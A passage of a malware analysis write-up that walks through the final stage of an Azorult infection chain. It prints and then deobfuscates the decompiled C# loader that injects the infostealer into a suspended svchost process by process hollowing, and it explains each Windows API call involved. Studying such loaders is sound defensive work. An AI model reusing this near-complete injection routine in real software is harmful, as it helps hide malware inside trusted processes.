The third function gets the directory of the Dot Net runtime. The fourth function replaces the value of *string_1* with *string_2* in *string_0*.

This clarifies the *Daym* function above, as it appends the *FTONJ* variable to several paths. The value of *FTONJ* is equal to *svchost.exe*, since the variable was passed throughout all function calls prior to this. After that, the existence of the file is checked. If it does not exist, the next path is tried. Once it is found, the *tickleme* function is called. The function is given below.

```
// Token: 0x0600001D RID: 29 RVA: 0x000023B4 File Offset: 0x000005B4
public static object tickleme(string b, byte[] PL)
{
    object result;
    try
    {
        Fuck.FUN(b, PL, true);
        result = 0;
    }
    catch
    {
        result = 0;
    }
    return result;
}
```

This function simply calls the *FUN* function, which resides in the class named *Fuck*. The *FUN* function is given below.

```
// Token: 0x06000032 RID: 50 RVA: 0x00002474 File Offset: 0x00000674
public static bool FUN(string path, byte[] data, bool protect)
{
    bool result;
    try
    {
```

```
        for (int i = 1; i <= 5; i++)
        {
            if (Fuck.smethod_1(path, data, protect))
            {
                return true;
            }
        }
        result = false;
    }
    catch
    {
        result = false;
    }
    return result;
}
```

This method executes *smethod_1* until the function succeeds, with a maximum of five tries. If none of these five times results in a successful exception, nor a return value of *true* from *smethod_1*, the function will return false. This will cause the code to move on to the next call of the *tickleme* function within the *Daym* function, which will eventually reach this point of the code again but then with a different path. This continues until the *smethod_1* call in the *FUN* function is succesfull, or when all methods have been exhausted. The *smethod_1* is given below in its entirety.

```
// Token: 0x06000034 RID: 52 RVA: 0x000024F0 File Offset: 0x000006F0
private static bool smethod_1(string string_1, byte[] byte_0, bool bool_0)
{
    int num = 0;
    string commandLine = "\"{path}\"";
    Fuck.Struct1 @struct = default(Fuck.Struct1);
    Fuck.Struct0 struct2 = default(Fuck.Struct0);
    @struct.uint_0 = Fuck.smethod_5(Fuck.smethod_4(Fuck.smethod_2(typeof(Fuck.Struct1).TypeHandle)))
    try
    {
        if (!Fuck.delegate0_0(string_1, commandLine, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zer
        {
            throw Fuck.smethod_6();
        }
        MethodInfo methodBase_ = Fuck.smethod_2(typeof(BitConverter).TypeHandle).method_0("ToInt32")
        object[] object_ = new object[]
        {
            byte_0,
            60
        };
        int num2 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_));
        object[] object_2 = new object[]
        {
```

```
        byte_0,
        num2 + 26 + 26
    };
    int num3 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_2));
    int[] array = new int[179];
    array[0] = 65538;
    if (IntPtr.Size != 4)
    {
        if (!Fuck.delegate2_0(struct2.intptr_1, array))
        {
            throw Fuck.smethod_6();
        }
    }
    else if (!Fuck.delegate1_0(struct2.intptr_1, array))
    {
        throw Fuck.smethod_6();
    }
    int num4 = array[41];
    int num5 = 0;
    if (!Fuck.delegate5_0(struct2.intptr_0, num4 + 4 + 4, ref num5, 4, ref num))
    {
        throw Fuck.smethod_6();
    }
    if (num3 == num5 && Fuck.delegate7_0(struct2.intptr_0, num5) != 0)
    {
        throw Fuck.smethod_6();
    }
    object[] object_3 = new object[]
    {
        byte_0,
        num2 + 80
    };
    int length = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_3));
    object[] object_4 = new object[]
    {
        byte_0,
        num2 + 42 + 42
    };
    int bufferSize = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_4));
    bool flag = false;
    int num6 = Fuck.delegate8_0(struct2.intptr_0, num3, length, 12288, 64);
    if (num6 == 0)
    {
        throw Fuck.smethod_6();
    }
    if (!Fuck.delegate6_0(struct2.intptr_0, num6, byte_0, bufferSize, ref num))
    {
```

```
            throw Fuck.smethod_6();
        }
        int num7 = num2 + 248;
        short num8 = Fuck.smethod_9(byte_0, num2 + 3 + 3);
        for (int i = 0; i < (int)num8; i++)
        {
            object[] object_5 = new object[]
            {
                byte_0,
                num7 + 6 + 6
            };
            int num9 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_5));
            object[] object_6 = new object[]
            {
                byte_0,
                num7 + 8 + 8
            };
            int num10 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_6));
            object[] object_7 = new object[]
            {
                byte_0,
                num7 + 20
            };
            int num11 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_7));
            if (num10 != 0)
            {
                byte[] array2 = new byte[num10];
                MethodInfo methodBase_2 = Fuck.smethod_2(typeof(Buffer).TypeHandle).method_0(Fuck.sm
                object[] object_8 = new object[]
                {
                    byte_0,
                    num11,
                    array2,
                    0,
                    array2.Length
                };
                Fuck.smethod_7(methodBase_2, null, object_8);
                if (!Fuck.delegate6_0(struct2.intptr_0, num6 + num9, array2, array2.Length, ref num)
                {
                    throw Fuck.smethod_6();
                }
            }
            num7 += 40;
        }
        byte[] buffer = Fuck.smethod_11(num6);
        if (!Fuck.delegate6_0(struct2.intptr_0, num4 + 8, buffer, 4, ref num))
        {
```

```
            throw Fuck.smethod_6();
        }
        object[] object_9 = new object[]
        {
            byte_0,
            num2 + 40
        };
        int num12 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_9));
        if (flag)
        {
            num6 = num3;
        }
        array[44] = num6 + num12;
        if (IntPtr.Size != 4)
        {
            if (!Fuck.delegate4_0(struct2.intptr_1, array))
            {
                throw Fuck.smethod_6();
            }
        }
        else if (!Fuck.delegate3_0(struct2.intptr_1, array))
        {
            throw Fuck.smethod_6();
        }
        if (Fuck.delegate9_0(struct2.intptr_1) == -1)
        {
            throw Fuck.smethod_6();
        }
    }
    catch
    {
        Process object_10 = Fuck.smethod_13(Fuck.smethod_12(struct2.uint_0));
        Type type_ = Fuck.smethod_14(object_10);
        MethodInfo methodBase_3 = Fuck.smethod_15(type_, "Kill");
        Fuck.smethod_7(methodBase_3, object_10, null);
        return false;
    }
    return true;
}
```

To make the code more readable, the code needs to be refactored. By analysing and renaming other functions and variables first, the code becomes clearer.

The three arguments, *string_1*, *byte_0*, and *bool_0* can be renamed into *path*, *data*, and *protect* respectively. This is based upon the variable names that are used when calling *smethod_1* from *FUN*.

All functions that are named *smethod_N*, where *N* is a number, are based upon a single line of code. As such, renaming these can be done based upon their functionality. The exception here is *smethod_0*, which is used together with the *FlipString* function to instantiate nearly all delegates. The latter is given below.

```
// Token: 0x06000035 RID: 53 RVA: 0x000029A0 File Offset: 0x00000BA0
public static string FlipString(string s)
{
        char[] array = toCharArray(s);
        string text = string.Empty;
        for (int i = array.Length - 1; i > -1; i--)
        {
                text += array[i].ToString();
        }
        return text;
}
```

This function reverses the given string. Within all but one delegate instance, a string named *string_0* is used. This string is equal to reverse value of *23lenrek*, which is *kernel32*. The delegate instances are given below.

```
// Token: 0x04000005 RID: 5
private static readonly Fuck.Delegate0 delegate0_0 = Fuck.smethod_0<Fuck.Delegate0>(Fuck.string_0, Fu

// Token: 0x04000006 RID: 6
private static readonly Fuck.Delegate1 delegate1_0 = Fuck.smethod_0<Fuck.Delegate1>(Fuck.string_0, Fu

// Token: 0x04000007 RID: 7
private static readonly Fuck.Delegate2 delegate2_0 = Fuck.smethod_0<Fuck.Delegate2>(Fuck.string_0, Fu

// Token: 0x04000008 RID: 8
private static readonly Fuck.Delegate3 delegate3_0 = Fuck.smethod_0<Fuck.Delegate3>(Fuck.string_0, Fu

// Token: 0x04000009 RID: 9
private static readonly Fuck.Delegate4 delegate4_0 = Fuck.smethod_0<Fuck.Delegate4>(Fuck.string_0, Fu

// Token: 0x0400000A RID: 10
private static readonly Fuck.Delegate5 delegate5_0 = Fuck.smethod_0<Fuck.Delegate5>(Fuck.string_0, Fu

// Token: 0x0400000B RID: 11
private static readonly Fuck.Delegate6 delegate6_0 = Fuck.smethod_0<Fuck.Delegate6>(Fuck.string_0, Fu

// Token: 0x0400000C RID: 12
private static readonly Fuck.Delegate7 delegate7_0 = Fuck.smethod_0<Fuck.Delegate7>(Fuck.FlipString(

// Token: 0x0400000D RID: 13
private static readonly Fuck.Delegate8 delegate8_0 = Fuck.smethod_0<Fuck.Delegate8>(Fuck.string_0, Fu
```

```
// Token: 0x0400000E RID: 14
private static readonly Fuck.Delegate9 delegate9_0 = Fuck.smethod_0<Fuck.Delegate9>(Fuck.string_0, Fu
```

Each instance represents a function that is used to inject the malware into the malicious code. Refactoring each delegate will further clean the code. Below, the *Fuck.smethod_1* is given with the refactored arguments, function names, and delegate names.

```
// Token: 0x06000034 RID: 52 RVA: 0x000024F0 File Offset: 0x000006F0
private static bool smethod_1(string path, byte[] data, bool protect)
{
    int num = 0;
    string commandLine = "\"{path}\"";
    Fuck.Struct1 @struct = default(Fuck.Struct1);
    Fuck.Struct0 struct2 = default(Fuck.Struct0);
    @struct.uint_0 = toUInt32(sizeOf(getTypeFromHandle(typeof(Fuck.Struct1).TypeHandle)));
    try
    {
        if (!delegateCreateProcessA(path, commandLine, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Z
        {
            throw throwException();
        }
        MethodInfo methodBase_ = getTypeFromHandle(typeof(BitConverter).TypeHandle).getMethod("ToInt
        object[] object_ = new object[]
        {
            data,
            60
        };
        int num2 = toInt32(invokeWithTwoArguments(methodBase_, null, object_));
        object[] object_2 = new object[]
        {
            data,
            num2 + 26 + 26
        };
        int num3 = toInt32(invokeWithTwoArguments(methodBase_, null, object_2));
        int[] array = new int[179];
        array[0] = 65538;
        if (IntPtr.Size != 4)
        {
            if (!delegateWow64GetThreadContext(struct2.intptr_1, array))
            {
                throw throwException();
            }
        }
        else if (!delegateGetThreadContext(struct2.intptr_1, array))
        {
            throw throwException();
```

```
        }
        int num4 = array[41];
        int num5 = 0;
        if (!delegateReadProcessMemory(struct2.intptr_0, num4 + 4 + 4, ref num5, 4, ref num))
        {
            throw throwException();
        }
        if (num3 == num5 && delegateZwUnmapViewOfSection(struct2.intptr_0, num5) != 0)
        {
            throw throwException();
        }
        object[] object_3 = new object[]
        {
            data,
            num2 + 80
        };
        int length = toInt32(invokeWithTwoArguments(methodBase_, null, object_3));
        object[] object_4 = new object[]
        {
            data,
            num2 + 42 + 42
        };
        int bufferSize = toInt32(invokeWithTwoArguments(methodBase_, null, object_4));
        bool flag = false;
        int num6 = delegateVirtualAllocEx(struct2.intptr_0, num3, length, 12288, 64);
        if (num6 == 0)
        {
            throw throwException();
        }
        if (!delegateWriteProcessMemory(struct2.intptr_0, num6, data, bufferSize, ref num))
        {
            throw throwException();
        }
        int num7 = num2 + 248;
        short num8 = toInt16(data, num2 + 3 + 3);
        for (int i = 0; i < (int)num8; i++)
        {
            object[] object_5 = new object[]
            {
                data,
                num7 + 6 + 6
            };
            int num9 = toInt32(invokeWithTwoArguments(methodBase_, null, object_5));
            object[] object_6 = new object[]
            {
                data,
                num7 + 8 + 8
```

```
            };
            int num10 = toInt32(invokeWithTwoArguments(methodBase_, null, object_6));
            object[] object_7 = new object[]
            {
                data,
                num7 + 20
            };
            int num11 = toInt32(invokeWithTwoArguments(methodBase_, null, object_7));
            if (num10 != 0)
            {
                byte[] array2 = new byte[num10];
                MethodInfo methodBase_2 = getTypeFromHandle(typeof(Buffer).TypeHandle).getMethod(str
                object[] object_8 = new object[]
                {
                    data,
                    num11,
                    array2,
                    0,
                    array2.Length
                };
                invokeWithTwoArguments(methodBase_2, null, object_8);
                if (!delegateWriteProcessMemory(struct2.intptr_0, num6 + num9, array2, array2.Length
                {
                    throw throwException();
                }
            }
            num7 += 40;
        }
        byte[] buffer = convertIntToBytes(num6);
        if (!delegateWriteProcessMemory(struct2.intptr_0, num4 + 8, buffer, 4, ref num))
        {
            throw throwException();
        }
        object[] object_9 = new object[]
        {
            data,
            num2 + 40
        };
        int num12 = toInt32(invokeWithTwoArguments(methodBase_, null, object_9));
        if (flag)
        {
            num6 = num3;
        }
        array[44] = num6 + num12;
        if (IntPtr.Size != 4)
        {
            if (!delegateWow64SetThreadContext(struct2.intptr_1, array))
```

```
            {
                throw throwException();
            }
        }
        else if (!delegateSetThreadContext(struct2.intptr_1, array))
        {
            throw throwException();
        }
        if (delegateResumeThread(struct2.intptr_1) == -1)
        {
            throw throwException();
        }
    }
    catch
    {
        Process object_10 = getProccessById(toInt32_also(struct2.uint_0));
        Type type_ = getType(object_10);
        MethodInfo methodBase_3 = useObjectGetMethod(type_, "Kill");
        invokeWithTwoArguments(methodBase_3, object_10, null);
        return false;
    }
    return true;
}
```

In the code above, an injection technique named *Process Hollowing* is used, as can be read about on the MITRE site.

The function above uses several system calls, where an instance of *svchost* is launched using the *CreateProcessA* function. The *dwCreationFlags* argument equals *4*, which is equal to *CREATE_SUSPENDED*, as can be seen here. This means that the process is created, but not started.

After that, a check is done based upon the size of a pointer. If the pointer pointer size is not equal to 4 bytes (which equals 32-bits), the system architecture is 64-bits. Based on that, either *GetThreadContext* *Wow64GetThreadContext* is called. On 64-bit systems,the *Wow64** name stands for *Windows on Windows*, as can be read in the documentation.

A call is then made to the *ReadProcessMemory* function to read the data of the *svchost* process. Using *ZwUnmapViewOfSection*, a *view* is unmapped from the process. A *view* is part of a process' memory. A new memory segment is allocated using *VirtualAllocEx*, to which the Azorult binary is then written using *WriteProcessMemory*. Before resuming the thread with *ResumeThread*, the system should know where to continue the execution, which is done with either *SetThreadContext* or *Wow64SetThreadContext*, based on the bitness of the system. At last, the function returns true.

If anything goes wrong during this process, the *svchost* process is killed, and the value false is returned.

The used code, before the obfuscation was applied, can be found here.

This way, the Azorult binary is loaded into a hollowed instance of *svchost*, after which it is executed.

Conclusion

A single Excel document resulted in an attack that consisted of programs and scripts written in several languages: VBA, JavaScript, VBScript, PowerShell, and C#. Additionally, the UAC was bypassed, most of the execution was done in-memory, Living of the Land Binaries were used, Windows Defender was disabled, and a process injection technique was used.

It is easy to get lost in the details of such an attack, due to the amount of stages, languages and techniques. Making notes along the way helps a great deal, as well as mapping the stages, be it mentally, digitally, or on paper.

To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], or DM me on BlueSky @maxkersten.nl.
